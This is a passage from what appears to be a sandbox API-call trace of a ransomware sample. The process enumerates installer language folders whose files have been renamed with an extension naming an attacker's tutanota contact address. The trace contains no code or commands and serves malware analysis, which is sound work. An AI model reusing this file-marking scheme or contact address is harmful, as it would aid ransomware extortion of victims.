ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.763] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.764] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0191.764] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.764] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.765] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.765] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399f8ee4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.765] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3963c272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3963c272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3963c272, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.765] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.766] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.766] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.767] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.767] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0191.767] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.767] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.768] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.768] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396625d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396625d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396625d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.768] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39688810, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.768] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.769] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.769] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.770] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0191.770] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.770] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.771] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.771] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39688810, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39688810, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396faf02, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.771] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396faf02, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396faf02, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.771] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.772] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398c4b76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398c4b76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398eae39, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.772] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.773] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0191.773] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.773] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.774] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x397211de, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x397211de, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397211de, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39747561, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39747561, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39747561, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.775] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.775] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0191.776] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.776] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.777] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.777] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d16ffd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.777] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d66f93, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d66f93, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d66f93, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.777] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.777] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.777] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.778] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0191.778] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.779] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.782] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.782] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399ac4e4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399ac4e4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.783] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399cfb3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399cfb3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.783] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", 